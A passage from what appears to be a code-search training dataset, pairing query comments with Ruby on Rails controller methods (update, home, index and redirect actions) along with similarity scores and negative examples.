@item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @item = @user.items.find(params[:id])\n\n @item.update(:type_list => \"\", :tag_list => \"\")\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to [@user, @item], notice: 'item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n\n\n end", "def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: t('controller.successfully_updated', model: t('activerecord.models.item')) }\n format.json { head :no_content }\n else\n prepare_options\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: \"Item was successfully updated.\" }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: \"Item was successfully updated.\" }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: \"Item was successfully updated.\" }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: \"Item was successfully updated.\" }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @item = Item.find(params[:id])\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n\n\n end", "def item_update\n @item = Item.find(params[:id])\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to item_show_path(@item), notice: 'O item foi atualizado com sucesso.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update(item_attrs = {})\n body = { update: item_attrs }\n Iterable.request(conf, base_path).patch(body)\n end", "def update\n item = @list.list_items.find(params[:id])\n\n if item.update_attributes(params[:list_item])\n render json: item\n else\n error(t('messages.list_item.errors.update'))\n end\n end", "def update\n task\n if @item.update(item_params)\n render json: @list.as_json, status: :ok\n else\n render json: {list: @item.errors, status: :unprocessable_entity}\n end\n end", "def update\n @item = Item.find(params[:id])\n\n logger.info \"Item: #{@item}\\nw/ param attr: #{params[:item].inspect}\"\n respond_to do |format|\n @item.attributes = params[:item].select{|k,v| ![:item_photos, :item_photos_attributes, :location].include?(k.to_sym) }\n\n @item.load_item_photos_with_params(params[:item] )\n\n if @item.save\n\n @item.set_by_user(auth_user)\n\n logger.info \" C) after save: attr: #{@item.attributes}\"\n\n if manage_item_photos(@item).present? || @item.changed?\n @item.save\n logger.info \" D) attr: #{@item.attributes}\"\n end\n\n format.html {\n redirect_to inventory_approve_item_path(:user_id => \"#{@item.owner.id}\")\n }\n format.json { render json:{ item: @item, success: true} }\n else\n set_flash_messages_from_errors(@item)\n format.html { render action: \"edit\" }\n format.json { render json: { error: @item.errors.first.join(' ') }, status: :unprocessable_entity }\n end\n end\n end", "def update\n @item = Item.find(item_params)\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.name, status: :unprocessable_entity }\n # format.html { render json: @item, notice: 'Item was not successfully updated.' }\n end\n end\n end", "def update\n @item = current_user.items.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: \"#{@item.name} was successfully updated.\" }\n format.json { head :no_content }\n else\n format.html do\n flash[:alert] = 'Something went wrong while updating an item.'\n render action: \"edit\"\n end\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to user_item_path(current_user, @item), notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @item.update(item_save_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to [@item.user, @item], notice: t('.notice') }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @item = TodoItem.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:todo_item])\n format.html { redirect_to @item, notice: 'TodoItem was successfully updated.' }\n format.json {render json: {\n success: true,\n data: [],\n message: \"TodoItem was successfully updated.\"\n }}\n else\n format.html { render action: \"edit\" }\n format.json { render json: {\n success: false,\n data: [],\n message: @item.errors\n }}\n end\n end\n end", "def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.7442021", "0.71437544", "0.7139624", "0.70026696", "0.69958323", "0.6980672", "0.69373846", "0.69218457", "0.68723136", "0.6832834", "0.68177253", "0.6805765", "0.6805765", "0.6794939", "0.67887527", "0.67887527", "0.67887527", "0.67887527", "0.67887527", "0.67887527", "0.67887527", "0.67887527", "0.67887527", "0.67887527", "0.67887527", "0.6772659", "0.6772659", "0.6762792", "0.6758238", "0.67457247", "0.6735191", "0.6730021", "0.67282605", "0.67282605", "0.67282605", "0.67282605", "0.67282605", "0.67282605", "0.67282605", "0.67282605", "0.67282605", "0.67241544", "0.6723788", "0.6709251", "0.670301", "0.66984326", "0.6681448", "0.6667349", "0.66516906", "0.6644987", "0.66378874", "0.66364", "0.6613821", "0.65892816", "0.6587059", "0.65864897", "0.65864897", "0.65864897", "0.65864897", "0.65864897", "0.65864897", "0.65864897", "0.65864897", "0.65864897", "0.65864897", "0.65864897", "0.65864897", "0.65864897", "0.65864897", "0.65864897", "0.65864897", "0.65864897", "0.65864897", "0.65864897", "0.65864897", "0.65864897", "0.65864897", "0.65864897", "0.65864897", "0.6583046", "0.6576206", "0.657075", "0.6565839", "0.6565839", "0.6565839", "0.6565839", "0.6560937", "0.6556025", "0.6538576", "0.6527549", "0.65190315", "0.6513063", "0.6504536", "0.6499179", "0.64968973", "0.6493183", "0.64589465", "0.64588577", "0.64562833", "0.6439813" ]
0.70251447
3
DELETE /items/1 DELETE /items/1.json
def destroy @item.destroy head :no_content end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def delete\n render json: Item.delete(params[\"id\"])\n end", "def delete(items)\n item_ids = items.collect { |item| item.id }\n args = {ids: item_ids.to_json}\n return @client.api_helper.command(args, \"item_delete\")\n end", "def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :ok }\n end\n end", "def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end", "def delete_item(item_id)\n response = Unirest.delete CONNECT_HOST + '/v1/' + LOCATION_ID + '/items/' + item_id,\n headers: REQUEST_HEADERS\n\n if response.code == 200\n puts 'Successfully deleted item'\n return response.body\n else\n puts 'Item deletion failed'\n puts response.body\n return nil\n end\nend", "def destroy\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_path }\n format.json { head :no_content }\n end\n end", "def destroy\n @item.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def delete_item(id)\n record \"/todos/delete_item/#{id}\"\n end", "def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :ok }\n format.xml { head :ok }\n end\n end", "def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @api_v1_item.destroy\n render json: {message: 'deletado com sucesso'}\n end", "def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url}\n format.json { head :no_content }\n end\n end", "def destroy\n @item = @client.items.find(params[:id])\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully removed from Inventory.' }\n format.json { head :no_content }\n end\n end", "def destroy\n# @item = Item.get(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to({action: :index}, notice: 'Item was successfully deleted.') }\n format.json { head :ok }\n end\n end", "def destroy\n @apiv1_item.destroy\n respond_to do |format|\n format.html { redirect_to apiv1_items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @item = @user.items.find(params[:id])\n @item.destroy\n\n\n respond_to do |format|\n format.html { redirect_to user_items_path(@user) }\n format.json { head :no_content }\n end\n end", "def destroy\n item = @item.name\n @item.deleted = true\n @item.deleted_at = Time.now\n @item.save\n\n respond_to do |format|\n format.html { redirect_to items_url, notice: \"#{item} was successfully deleted.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @item ||= Item.find_by_id_or_name(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to(items_url) }\n format.xml { head :ok }\n format.json { head :ok }\n end\n end", "def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to '/items', notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to tasks_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @item = Item.find(params[:id])\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to(items_url) }\n format.xml { head :ok }\n format.json { head :ok }\n end\n end", "def delete_item\n item_id = params[\"item_id\"]\n\n item = TextItem.find_by_id(item_id)\n item = Image.find_by_id(item_id) if item.nil?\n item = Collection.find_by_id(item_id) if item.nil?\n render_json :status => :not_found, :messages => \"Could not find the item with id #{item_id}.\" and return if item.nil?\n\n if item.class == Collection\n if params[\"id\"].nil?\n render_json :status => :bad_request, :messages => \"Can't delete a collection reference without providing the parent collection id. Please use the longer url for item deletion.\" and return\n end\n collection = Collection.find_by_id(params[\"id\"])\n else\n collection = Ownership.find_by_item_id(item_id).parent\n end\n;\n render_json :status => :not_found, :messages => \"Could not find parent collection for the item.\" and return if (collection.nil?)\n render_json :status => :forbidden, :messages => \"The user is not allowed to delete from this collection.\" and return if (!collection.delete?(@user, @client))\n\n collection.delete_item(item_id)\n render_json :entry => {} and return\n end", "def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to lists_url }\n format.json { head :ok }\n end\n end", "def destroy\n render status: 200, json: @request_item.destroy\n end", "def delete_item(item)\n @get_items.delete(item)\n end", "def destroy\n @item = current_user.items.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def item_destroy\n @item = Item.find(params[:id])\n @item.destroy\n respond_to do |format|\n format.html { redirect_to item_index_path, notice: 'O item foi removido com sucesso.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @admin_item = Admin::Item.find(params[:id])\n @admin_item.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_items_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @admin_item = Admin::Item.find(params[:id])\n @admin_item.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_items_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_path, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to(items_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to(items_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to(items_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to(items_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to(items_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to(items_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: '削除に成功しました。' }\n format.json { head :no_content }\n end\n end" ]
[ "0.7907001", "0.76884055", "0.76040095", "0.7585583", "0.75851166", "0.75851166", "0.75851166", "0.75851166", "0.75851166", "0.75851166", "0.75851166", "0.75851166", "0.75851166", "0.75851166", "0.75851166", "0.75851166", "0.75851166", "0.75851166", "0.75851166", "0.7547564", "0.7539677", "0.75289273", "0.7508689", "0.74975073", "0.7487874", "0.7487874", "0.7487874", "0.7487874", "0.7487874", "0.7487874", "0.7487874", "0.7487874", "0.7487874", "0.7487874", "0.7458599", "0.7455275", "0.7431327", "0.7416716", "0.7406425", "0.73822314", "0.7354986", "0.73515064", "0.7334429", "0.73224354", "0.7318096", "0.7316449", "0.72993255", "0.72873116", "0.72470766", "0.7245404", "0.7243865", "0.7227548", "0.7222959", "0.71970123", "0.71970123", "0.7196431", "0.7196431", "0.7196431", "0.7196431", "0.7196431", "0.7196431", "0.7196431", "0.7196431", "0.7196431", "0.7196431", "0.7196431", "0.7196431", "0.7196431", "0.7196431", "0.7196431", "0.7196431", "0.7196431", "0.7196431", "0.7196431", "0.7196431", "0.7196431", "0.7196431", "0.7196431", "0.7196431", "0.7196431", "0.7196431", "0.7196431", "0.7196431", "0.7196431", "0.7196431", "0.7196431", "0.7196431", "0.7196431", "0.7196431", "0.7196431", "0.7196431", "0.7196431", "0.7196431", "0.71962154", "0.7195899", "0.7195899", "0.7195899", "0.7195899", "0.7195899", "0.7195899", "0.71948636" ]
0.0
-1
This action is usually accessed with the root path, normally '/'
def home # @landing=Refinery::Redirects::Redirect.find(1) #require 'uri' #url=@landing.Mainpage_url @headline = Refinery::Headlines::Headline.find(2) @side_headline=Refinery::SideHeadlines::SideHeadline.order('position ASC') @editors_pick=Refinery::EditorsPicks::EditorsPick.order('position DESC') @editors_pick_1=@editors_pick[0] @editors_pick_2=@editors_pick[1] @editors_pick_3=@editors_pick[2] @editors_pick_4=@editors_pick[3] @south=Refinery::SouthernMinutes::SouthernMinute.order('position DESC') @south_1=@south[0] @south_2=@south[1] @south_3=@south[2] @south_4=@south[3] @elephants=Refinery::Elephants::Elephant.order('position DESC') @elephant=@elephants.first @ears=Refinery::Ears::Ear.order('position DESC') @ear=@ears.first @latest=Refinery::Latests::Latest.order('position DESC') @politics=Refinery::Politics::Politic.order('position DESC') @news=Refinery::NewsSections::NewsSection.order('position DESC') @blog=Refinery::Blogs::Blog.order('position DESC') @sports=Refinery::Socials::Social.order('position DESC') @enter=Refinery::Entertainments::Entertainment.order('position DESC') @opinion=Refinery::OpinionMainpages::OpinionMainpage.order('position DESC') @money=Refinery::Lives::Life.order('position DESC') @tech=Refinery::Technologies::Technology.order('position DESC') @world=Refinery::Worlds::World.order('position DESC') @random=Refinery::Randoms::Random.order('position DESC') end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def root\n get \"/\"\n end", "def root\n get \"/\"\n end", "def root\n get '/'\n end", "def root; resource :path => '/'; end", "def index; redirect_to '/'; end", "def root_path; end", "def root_path; end", "def root_path; end", "def root\n super\n if @remaining_path == \"/\" && !is_get?\n always{method_not_allowed(\"GET\")}\n end\n end", "def index\n redirect_to :root\n end", "def index\n redirect_to root_url\n end", "def index\n redirect_to root_url\n end", "def index\n redirect_to root_url\n end", "def index\n # No one should be here\n redirect_to root_url\n end", "def index\n redirect_to root_path\n end", "def index\n redirect_to root_path\n end", "def index\n redirect_to root_path\n end", "def index\n redirect_to root_path\n end", "def index\n redirect_to root_path\n end", "def index\n redirect_to root_path\n end", "def root\n redirect_to controller: 'boards', action: 'show', id: 'public'\n end", "def index\n redirect_to root_path\n end", "def show\n\t\tredirect_to root_path\n\tend", "def show\n respond_to do |format|\n format.html { redirect_to :root }\n end\n end", "def index\n redirect_to \"/\"\n end", "def index\n redirect_to \"/\"\n end", "def index\n redirect_to \"/\"\n end", "def show\n \tredirect_to root_path\n end", "def index\n redirect_to '/'\n end", "def show\n respond_to do |format|\n format.html { redirect_to :root }\n end\n end", "def show\n respond_to do |format|\n format.html { redirect_to :root }\n end\n end", "def show\n respond_to do |format|\n format.html { redirect_to :root }\n end\n end", "def route_index; end", "def action\n \"index\"\n end", "def controller_path; end", "def controller_path; end", "def user_root\r\n if logged_in?\r\n redirect_to current_user\r\n else\r\n redirect_to login_path\r\n end\r\n end", "def home\n\t\t# Home Page\n\tend", "def home\n redirect_to action: :index\n end", "def root_path \n @root_path\n end", "def root\r\n if can? :read, :landing\r\n redirect_to(:controller => 'landing', :action => 'index') and return\r\n end\r\n [Enrollment, Professor, ScholarshipDuration, Phase, Course, City, User, Student].each do |model|\r\n if can? :read, model\r\n redirect_to(:controller => model.name.underscore.pluralize.downcase, :action => 'index') and return\r\n end\r\n end\r\n end", "def open\r\n visit \"/\"\r\n end", "def show\n redirect_to root_url\n end", "def show\n redirect_to root_url\n end", "def show\n respond_to do |format|\n format.html { redirect_to :root }\n end\n end", "def root(action = nil)\n if action\n @root = Route::Root.new(action)\n else\n @root\n end\n end", "def home hash = {}\n hash[:controller] = 'kopal/home'\n return root if hash[:action].blank? or hash[:action] == 'index'\n home_path hash.update :trailing_slash => true\n end", "def home\n\t\t\n\tend", "def home\n\t\t\n\tend", "def show\n redirect_to root_path\n end", "def show\n redirect_to root_path\n end", "def show\n redirect_to root_path\n end", "def show\n redirect_to root_path\n end", "def show\n redirect_to root_path\n end", "def show\n redirect_to root_path\n end", "def show\n redirect_to :root, notice: 'There\\'s nothing to see at the URL entered.'\n end", "def index\n redirect_to :action => \"home\"\n end", "def home \n\tend", "def root; get(\"\"); end", "def home\n\tend", "def root\n render :file => 'public/closeout-front/index.html'\n end", "def routes; end", "def routes; end", "def routes; end", "def routes; end", "def routes; end", "def routes; end", "def routes; end", "def routes; end", "def routes; end", "def routes; end", "def routes; end", "def index\n redirect_to :action => 'home'\n end", "def index\n\t\trender 'home'\n\tend", "def index\n redirect_to home_path\n end", "def index\n redirect_to home_path\n end", "def root\n self.home\n self\n end", "def index\r\n redirect_to :action => :login\r\n end", "def appindex\n\n end", "def success_path\n\t\t\t\t\t\tmain_app.root_path\n\t\t\t\t\tend", "def GET; end", "def action\n end", "def home\n render :index\n end", "def controller; end", "def controller; end", "def controller; end", "def controller; end", "def controller; end", "def controller; end", "def controller; end", "def controller; end", "def controller; end", "def controller; end", "def controller\n end", "def controller\n end", "def pcb_admin_home\n redirect_to(:action => 'index')\n end", "def redirect_internal() redirect_to \"/nothing\"; end", "def manager_home\n redirect_to(:action => 'index')\n end", "def index\n # Insert 